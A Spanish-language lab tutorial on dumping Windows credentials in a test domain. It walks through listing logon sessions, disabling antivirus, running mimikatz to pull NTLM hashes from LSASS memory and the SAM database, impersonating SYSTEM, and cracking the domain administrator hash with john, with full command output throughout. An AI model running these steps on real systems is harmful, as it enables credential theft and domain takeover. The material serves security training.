Volcado de Isass y SAM en Windows

Esta tecnica se centra en capturar la logon session con un usuario que no tenga privilegios de un usuario que si tenga privilegios de administrador.

Pongamos que tenemos comprometido el equipo WS01 con el usuario de dominio empleado1, pero que a demas tambien tenemos el usuario santiago del WS01 que recordemos que es administrador local del equipo, este usuario administrador local del equipo no tiene privilegios respecto al dominio, pero si en su maquina, por lo que nos podremos abrir un PowerShell como administrador y ejecutar la herramienta que mencionamos anteriormente llamado logonsessions.exe para ver las logon sessions que hay en nuestro equipo, por lo que vamos hacer lo siuguiente:

Ejecutamos como Administrador el PowerShell y metemos lo siguiente para que se nos habra como administrador local:

cd C:\Users\empleado1\Desktop\logonSessions
.\logonsessions.exe

Pero antes de ejecutarlo abriremos otro PowerShell como Administrador del dominio esta vez simulando que el administrador esta actualmente en el equipo haciendo cualquier cosa.

Una vez abierto ese PowerShell lo dejaremos en segundo plano y ejecutaremos el PowerShell del administrador local del ejecutable logonsessions.exe:

LogonSessions v1.41 - Lists logon session information
Copyright (C) 2004-2020 Mark Russinovich
Sysinternals - www.sysinternals.com


[0] Logon session 00000000:000003e7:
    User name:    CORP\WS01$
    Auth package: Negotiate
    Logon type:   (none)
    Session:      0
    Sid:          S-1-5-18
    Logon time:   19/01/2025 9:19:04
    Logon server:
    DNS Domain:   corp.local
    UPN:          WS01$@corp.local

[1] Logon session 00000000:0000ca52:
    User name:
    Auth package: NTLM
    Logon type:   (none)
    Session:      0
    Sid:          (none)
    Logon time:   19/01/2025 9:19:04
    Logon server:
    DNS Domain:
    UPN:

[2] Logon session 00000000:0000cfb1:
    User name:    Font Driver Host\UMFD-0
    Auth package: Negotiate
    Logon type:   Interactive
    Session:      0
    Sid:          S-1-5-96-0-0
    Logon time:   19/01/2025 9:19:04
    Logon server:
    DNS Domain:   corp.local
    UPN:          WS01$@corp.local

[3] Logon session 00000000:0000cff8:
    User name:    Font Driver Host\UMFD-1
    Auth package: Negotiate
    Logon type:   Interactive
    Session:      1
    Sid:          S-1-5-96-0-1
    Logon time:   19/01/2025 9:19:04
    Logon server:
    DNS Domain:   corp.local
    UPN:          WS01$@corp.local

[4] Logon session 00000000:000003e4:
    User name:    CORP\WS01$
    Auth package: Negotiate
    Logon type:   Service
    Session:      0
    Sid:          S-1-5-20
    Logon time:   19/01/2025 9:19:04
    Logon server:
    DNS Domain:
    UPN:

[5] Logon session 00000000:00012ae2:
    User name:    Window Manager\DWM-1
    Auth package: Negotiate
    Logon type:   Interactive
    Session:      1
    Sid:          S-1-5-90-0-1
    Logon time:   19/01/2025 9:19:05
    Logon server:
    DNS Domain:
    UPN:

[6] Logon session 00000000:00012b0a:
    User name:    Window Manager\DWM-1
    Auth package: Negotiate
    Logon type:   Interactive
    Session:      1
    Sid:          S-1-5-90-0-1
    Logon time:   19/01/2025 9:19:05
    Logon server:
    DNS Domain:
    UPN:

[7] Logon session 00000000:000003e5:
    User name:    NT AUTHORITY\SERVICIO LOCAL
    Auth package: Negotiate
    Logon type:   Service
    Session:      0
    Sid:          S-1-5-19
    Logon time:   19/01/2025 9:19:05
    Logon server:
    DNS Domain:
    UPN:

[8] Logon session 00000000:0006d39e:
    User name:    CORP\empleado1
    Auth package: Kerberos
    Logon type:   Interactive
    Session:      1
    Sid:          S-1-5-21-3352250647-938130414-2449934813-1104
    Logon time:   19/01/2025 9:19:28
    Logon server: DC01
    DNS Domain:   CORP.LOCAL
    UPN:          empleado1@corp.local

[9] Logon session 00000000:0014f570:
    User name:    WS01\santiago
    Auth package: NTLM
    Logon type:   Interactive
    Session:      1
    Sid:          S-1-5-21-1345059704-770646112-4146140408-1001
    Logon time:   19/01/2025 9:29:13
    Logon server: WS01
    DNS Domain:
    UPN:

[10] Logon session 00000000:0015bdb8:
    User name:    CORP\Administrator
    Auth package: Kerberos
    Logon type:   CachedInteractive
    Session:      1
    Sid:          S-1-5-21-3352250647-938130414-2449934813-500
    Logon time:   19/01/2025 9:31:05
    Logon server: DC01
    DNS Domain:   CORP.LOCAL
    UPN:          Administrator@corp.local

Vemos que en el numero 10 hay uno que nos interesa ya que es el del Administrador pero del dominio.

Dentro del PowerShell del Administrador de dominio. haremos lo siguiente:

net localgroup administradores corp\empleado1 /add

Esto lo que hace sera añadir al grupo de Administradores el usuario empleado1 pero de forma local, ya que en muchas empresas se hacer esto tambien, no tiene efectos en el dominio, pero en la maquina a nivel local seria administrador, por lo que se podria hacer cosas tambien.

Ahora si ejecutamos un PowerShell como administrador local, nos aparecera esto:

Si volvemos a enumerar las logon sessions con este shell de administrador local podremos ver lo mismo de antes.

Volcado de credenciales SAM Windows

Ahora vamos a ver como volcar en Windows las credenciales a nivel local del SAM con una herramienta, primero utilizaremos Mimikatz para ello:

Vamos a desactivar el antivirus de Windows ya que lo detecta como malware el mimikatz y como somos Administradores locales, lo podremos hacer sin ningun problema.

Nos pasamos Mimikatz a la maquina WS01 y una vez echo eso, tendremos un PowerShell como empleado1 normal, despues abriremos una como administrador local del equipo y por ultimo otra como Administrador del dominio para la logon session simulando que hay un admin en nuestro equipo haciendo cualquier cosa.

En la PowerShell de administrador LOCAL haremos lo siguiente:

.\mimikatz.exe

Info:


  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz #

Y ahora abriremos otro PowerShell como administrador local, para ejecutar el volcado de logon sessions:

cd C:\Users\empleado1\Desktop\logonSessions
.\logonsessions.exe

Info:

...........................<RESTO_DEL_CODIGO>....................................

[9] Logon session 00000000:0023e015:
    User name:    CORP\empleado1
    Auth package: Kerberos
    Logon type:   Interactive
    Session:      2
    Sid:          S-1-5-21-3352250647-938130414-2449934813-1104
    Logon time:   19/01/2025 9:39:14
    Logon server: DC01
    DNS Domain:   CORP.LOCAL
    UPN:          empleado1@corp.local

[10] Logon session 00000000:0023e03b:
    User name:    CORP\empleado1
    Auth package: Kerberos
    Logon type:   Interactive
    Session:      2
    Sid:          S-1-5-21-3352250647-938130414-2449934813-1104
    Logon time:   19/01/2025 9:39:14
    Logon server: DC01
    DNS Domain:   CORP.LOCAL
    UPN:          empleado1@corp.local

[11] Logon session 00000000:0031a59f:
    User name:    CORP\Administrator
    Auth package: Kerberos
    Logon type:   Interactive
    Session:      0
    Sid:          S-1-5-21-3352250647-938130414-2449934813-500
    Logon time:   19/01/2025 9:52:13
    Logon server: DC01
    DNS Domain:   CORP.LOCAL
    UPN:          Administrator@corp.local

Vemos que la 9 y 10 es el usuario empleado1 pero como administrador local y el numero 11 es el Administrador del dominio.

Ahora como vemos que estos tienen una logon session podremos obtener sus credenciales mediante mimikatz ya que como dijimos anteriormente se guardan en memoria SAM y podremos extraerlas.

Dentro de mimikatz:

sekurlsa::logonpasswords

Info:

Authentication Id : 0 ; 3253663 (00000000:0031a59f)
Session           : Interactive from 0
User Name         : Administrator
Domain            : CORP
Logon Server      : DC01
Logon Time        : 19/01/2025 9:52:13
SID               : S-1-5-21-3352250647-938130414-2449934813-500
        msv :
         [00000003] Primary
         * Username : Administrator
         * Domain   : CORP
         * NTLM     : a87f3a337d73085c45f9416be5787d86
         * SHA1     : 34957e9ba3455a4a99d722b48693ac1123ba5dba
         * DPAPI    : b937fc9669fa922df0050d0d2f6d5de4
        tspkg :
        wdigest :
         * Username : Administrator
         * Domain   : CORP
         * Password : (null)
        kerberos :
         * Username : Administrator
         * Domain   : CORP.LOCAL
         * Password : (null)
        ssp :
        credman :
        cloudap :

Authentication Id : 0 ; 2351163 (00000000:0023e03b)
Session           : Interactive from 2
User Name         : empleado1
Domain            : CORP
Logon Server      : DC01
Logon Time        : 19/01/2025 9:39:14
SID               : S-1-5-21-3352250647-938130414-2449934813-1104
        msv :
         [00000003] Primary
         * Username : empleado1
         * Domain   : CORP
         * NTLM     : 1791df33b45987df23e4fe6c57ea6de7
         * SHA1     : 6ef021db9a1924563f77a5d9ebf3e3629de98851
         * DPAPI    : a5798e4a9a06f32761063a2a093f0074
        tspkg :
        wdigest :
         * Username : empleado1
         * Domain   : CORP
         * Password : (null)
        kerberos :
         * Username : empleado1
         * Domain   : CORP.LOCAL
         * Password : (null)
        ssp :
        credman :
        cloudap :

Authentication Id : 0 ; 2351125 (00000000:0023e015)
Session           : Interactive from 2
User Name         : empleado1
Domain            : CORP
Logon Server      : DC01
Logon Time        : 19/01/2025 9:39:14
SID               : S-1-5-21-3352250647-938130414-2449934813-1104
        msv :
         [00000003] Primary
         * Username : empleado1
         * Domain   : CORP
         * NTLM     : 1791df33b45987df23e4fe6c57ea6de7
         * SHA1     : 6ef021db9a1924563f77a5d9ebf3e3629de98851
         * DPAPI    : a5798e4a9a06f32761063a2a093f0074
        tspkg :
        wdigest :
         * Username : empleado1
         * Domain   : CORP
         * Password : (null)
        kerberos :
         * Username : empleado1
         * Domain   : CORP.LOCAL
         * Password : (null)
        ssp :
        credman :
        cloudap :

Authentication Id : 0 ; 2328877 (00000000:0023892d)
Session           : Interactive from 2
User Name         : DWM-2
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 19/01/2025 9:39:10
SID               : S-1-5-90-0-2
        msv :
         [00000003] Primary
         * Username : WS01$
         * Domain   : CORP
         * NTLM     : afc5c02d936d73808ce716070e883ab8
         * SHA1     : bfd2e01febbbd50a8d4a7968d68ebec9ad9a792f
         * DPAPI    : bfd2e01febbbd50a8d4a7968d68ebec9
        tspkg :
        wdigest :
         * Username : WS01$
         * Domain   : CORP
         * Password : (null)
        kerberos :
         * Username : WS01$
         * Domain   : corp.local
         * Password : W2UkIN'=^U\uRLwnNQE<-f]K_v3rD5"'uhN0A=$lN"Wuekd4JVo>l_lP\]'6w,)3^]O^QV'.28)OxQAI,:%_hr]84%Ih"dEor\c-"_/oegr"_alxGdYbwwY_
        ssp :
        credman :
        cloudap :

Authentication Id : 0 ; 2328854 (00000000:00238916)
Session           : Interactive from 2
User Name         : DWM-2
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 19/01/2025 9:39:10
SID               : S-1-5-90-0-2
        msv :
         [00000003] Primary
         * Username : WS01$
         * Domain   : CORP
         * NTLM     : afc5c02d936d73808ce716070e883ab8
         * SHA1     : bfd2e01febbbd50a8d4a7968d68ebec9ad9a792f
         * DPAPI    : bfd2e01febbbd50a8d4a7968d68ebec9
        tspkg :
        wdigest :
         * Username : WS01$
         * Domain   : CORP
         * Password : (null)
        kerberos :
         * Username : WS01$
         * Domain   : corp.local
         * Password : W2UkIN'=^U\uRLwnNQE<-f]K_v3rD5"'uhN0A=$lN"Wuekd4JVo>l_lP\]'6w,)3^]O^QV'.28)OxQAI,:%_hr]84%Ih"dEor\c-"_/oegr"_alxGdYbwwY_
        ssp :
        credman :
        cloudap :

Authentication Id : 0 ; 2327994 (00000000:002385ba)
Session           : Interactive from 2
User Name         : UMFD-2
Domain            : Font Driver Host
Logon Server      : (null)
Logon Time        : 19/01/2025 9:39:10
SID               : S-1-5-96-0-2
        msv :
         [00000003] Primary
         * Username : WS01$
         * Domain   : CORP
         * NTLM     : afc5c02d936d73808ce716070e883ab8
         * SHA1     : bfd2e01febbbd50a8d4a7968d68ebec9ad9a792f
         * DPAPI    : bfd2e01febbbd50a8d4a7968d68ebec9
        tspkg :
        wdigest :
         * Username : WS01$
         * Domain   : CORP
         * Password : (null)
        kerberos :
         * Username : WS01$
         * Domain   : corp.local
         * Password : W2UkIN'=^U\uRLwnNQE<-f]K_v3rD5"'uhN0A=$lN"Wuekd4JVo>l_lP\]'6w,)3^]O^QV'.28)OxQAI,:%_hr]84%Ih"dEor\c-"_/oegr"_alxGdYbwwY_
        ssp :
        credman :
        cloudap :

Authentication Id : 0 ; 447390 (00000000:0006d39e)
Session           : Interactive from 1
User Name         : empleado1
Domain            : CORP
Logon Server      : DC01
Logon Time        : 19/01/2025 9:19:28
SID               : S-1-5-21-3352250647-938130414-2449934813-1104
        msv :
        tspkg :
        wdigest :
        kerberos :
        ssp :
        credman :
        cloudap :

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : SERVICIO LOCAL
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 19/01/2025 9:19:05
SID               : S-1-5-19
        msv :
        tspkg :
        wdigest :
         * Username : (null)
         * Domain   : (null)
         * Password : (null)
        kerberos :
         * Username : (null)
         * Domain   : (null)
         * Password : (null)
        ssp :
        credman :
        cloudap :

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : WS01$
Domain            : CORP
Logon Server      : (null)
Logon Time        : 19/01/2025 9:19:04
SID               : S-1-5-20
        msv :
         [00000003] Primary
         * Username : WS01$
         * Domain   : CORP
         * NTLM     : afc5c02d936d73808ce716070e883ab8
         * SHA1     : bfd2e01febbbd50a8d4a7968d68ebec9ad9a792f
         * DPAPI    : bfd2e01febbbd50a8d4a7968d68ebec9
        tspkg :
        wdigest :
         * Username : WS01$
         * Domain   : CORP
         * Password : (null)
        kerberos :
         * Username : ws01$
         * Domain   : CORP.LOCAL
         * Password : (null)
        ssp :
        credman :
        cloudap :

Authentication Id : 0 ; 53169 (00000000:0000cfb1)
Session           : Interactive from 0
User Name         : UMFD-0
Domain            : Font Driver Host
Logon Server      : (null)
Logon Time        : 19/01/2025 9:19:04
SID               : S-1-5-96-0-0
        msv :
         [00000003] Primary
         * Username : WS01$
         * Domain   : CORP
         * NTLM     : afc5c02d936d73808ce716070e883ab8
         * SHA1     : bfd2e01febbbd50a8d4a7968d68ebec9ad9a792f
         * DPAPI    : bfd2e01febbbd50a8d4a7968d68ebec9
        tspkg :
        wdigest :
         * Username : WS01$
         * Domain   : CORP
         * Password : (null)
        kerberos :
         * Username : WS01$
         * Domain   : corp.local
         * Password : W2UkIN'=^U\uRLwnNQE<-f]K_v3rD5"'uhN0A=$lN"Wuekd4JVo>l_lP\]'6w,)3^]O^QV'.28)OxQAI,:%_hr]84%Ih"dEor\c-"_/oegr"_alxGdYbwwY_
        ssp :
        credman :
        cloudap :

Authentication Id : 0 ; 51794 (00000000:0000ca52)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 19/01/2025 9:19:04
SID               :
        msv :
         [00000003] Primary
         * Username : WS01$
         * Domain   : CORP
         * NTLM     : afc5c02d936d73808ce716070e883ab8
         * SHA1     : bfd2e01febbbd50a8d4a7968d68ebec9ad9a792f
         * DPAPI    : bfd2e01febbbd50a8d4a7968d68ebec9
        tspkg :
        wdigest :
        kerberos :
        ssp :
        credman :
        cloudap :

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : WS01$
Domain            : CORP
Logon Server      : (null)
Logon Time        : 19/01/2025 9:19:04
SID               : S-1-5-18
        msv :
        tspkg :
        wdigest :
         * Username : WS01$
         * Domain   : CORP
         * Password : (null)
        kerberos :
         * Username : ws01$
         * Domain   : CORP.LOCAL
         * Password : (null)
        ssp :
        credman :
        cloudap :

Para realizar esto tendremos que ser administradores locales del sistema.

Pero si podemos ver esta parte:

Authentication Id : 0 ; 3253663 (00000000:0031a59f)
Session           : Interactive from 0
User Name         : Administrator
Domain            : CORP
Logon Server      : DC01
Logon Time        : 19/01/2025 9:52:13
SID               : S-1-5-21-3352250647-938130414-2449934813-500
        msv :
         [00000003] Primary
         * Username : Administrator
         * Domain   : CORP
         * NTLM     : a87f3a337d73085c45f9416be5787d86
         * SHA1     : 34957e9ba3455a4a99d722b48693ac1123ba5dba
         * DPAPI    : b937fc9669fa922df0050d0d2f6d5de4
        tspkg :
        wdigest :
         * Username : Administrator
         * Domain   : CORP
         * Password : (null)
        kerberos :
         * Username : Administrator
         * Domain   : CORP.LOCAL
         * Password : (null)
        ssp :
        credman :
        cloudap :

Vemos que hemos obtenido las credenciales NTLM del usuario Administrador del dominio, solo siendo administrador local del equipo.

Ahora con este hash NTLM lo que podemos hacer es intentar crackearlo o hacer un Pass-The-Hash, pero crackearlo seria de la siguiente forma:

Nos vamos a nuestro kali:

echo a87f3a337d73085c45f9416be5787d86 > admin.hash
john --format=NT admin.hash

Info:

Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 128/128 AVX 4x3])
No password hashes left to crack (see FAQ)

Vemos que se crackeo correctamente, pero nosotros ya lo teniamos crackeado de antes, por eso aparece asi, pero si lo queremos ver seria asi:

john --format=NT admin.hash --show

Info:

?:Passw0rd

1 password hash cracked, 0 left

Ahora si nos volvemos al Mimikatz necesitariamos rango System para realizar ciertas cosas importantes, no nos valdria solo con ser administrador local, pero si somos administradores locales, podremos suplantar el Access Token del System para obtenernlo nosotros y hacernos pasar por dicho rango.

Vamos a poner lo siguiente en mimikatz:

privilege::debug

Info:

Privilege '20' OK

Despues seguidamente pondremos lo siguiente:

token::elevate

Info:

Token Id  : 0
User name :
SID name  : NT AUTHORITY\SYSTEM

660     {0;000003e7} 0 D 48728          NT AUTHORITY\SYSTEM     S-1-5-18        (04g,31p)       Primary
 -> Impersonated !
 * Process Token : {0;0023e015} 2 F 3275072     CORP\empleado1  S-1-5-21-3352250647-938130414-2449934813-1104   (13g,24p)       Primary
 * Thread Token  : {0;000003e7} 0 D 3592987     NT AUTHORITY\SYSTEM     S-1-5-18        (04g,31p)       Impersonation (Delegation)

Vemos que aqui esta suplantando el Token de acceso del SYSTEM:

NT AUTHORITY\SYSTEM Primary -> Impersonated !

Ahora nosotros en nuestro usuario de empleado1 tenemos el token de NT AUTHORITY\SYSTEM por lo que nos estamos haciendo pasar por el y podremos realizar cosas en su rango.

Ahora nosotros podremos acceder a nuestra base de datos SAM:

lsadump::sam

Info:

Domain : WS01
SysKey : c8125866b327df176940c9f2d6a48f5f
Local SID : S-1-5-21-1345059704-770646112-4146140408

SAMKey : a14ad1e634139beb6e7e6f0b7a7acb0c

RID  : 000001f4 (500)
User : Administrador

RID  : 000001f5 (501)
User : Invitado

RID  : 000001f7 (503)
User : DefaultAccount

RID  : 000001f8 (504)
User : WDAGUtilityAccount
  Hash NTLM: 5ed544e71abe56b376b7993b21946520

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 494ef19d49a1fb7d84b6c59621900f93

* Primary:Kerberos-Newer-Keys *
    Default Salt : WDAGUtilityAccount
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 8decc55d80162a0db94a0690aab6cc6e67bb1ec84a7095538283f02e110a1584
      aes128_hmac       (4096) : a32f3807bc57cdc624af466393001b69
      des_cbc_md5       (4096) : d62689e5a89bef3d

* Packages *
    NTLM-Strong-NTOWF

* Primary:Kerberos *
    Default Salt : WDAGUtilityAccount
    Credentials
      des_cbc_md5       : d62689e5a89bef3d


RID  : 000003e9 (1001)
User : santiago
  Hash NTLM: 7ce21f17c0aee7fb9ceba532d0546ad6

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 782a536e15d0d4d3ab8be3da53258d0b

* Primary:Kerberos-Newer-Keys *
    Default Salt : DESKTOP-FVGD436santiago
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 7421798d1663dffe3f7796c77e6a3306fa895b1259f7b05ef6636c3ac3d640de
      aes128_hmac       (4096) : 8ffb71da0fbc6c982853fafacd1b49a5
      des_cbc_md5       (4096) : b975bfb5ce1c7c2a
    OldCredentials
      aes256_hmac       (4096) : 7421798d1663dffe3f7796c77e6a3306fa895b1259f7b05ef6636c3ac3d640de
      aes128_hmac       (4096) : 8ffb71da0fbc6c982853fafacd1b49a5
      des_cbc_md5       (4096) : b975bfb5ce1c7c2a

* Packages *
    NTLM-Strong-NTOWF

* Primary:Kerberos *
    Default Salt : DESKTOP-FVGD436santiago
    Credentials
      des_cbc_md5       : b975bfb5ce1c7c2a
    OldCredentials
      des_cbc_md5       : b975bfb5ce1c7c2a

Esto nos habra volcado toda la base de datos SAM con los hashes NTLM asociado a los usuarios, por lo que ya podremos intentar crackearlo para sacarle la contraseña en texto plano.

Last updated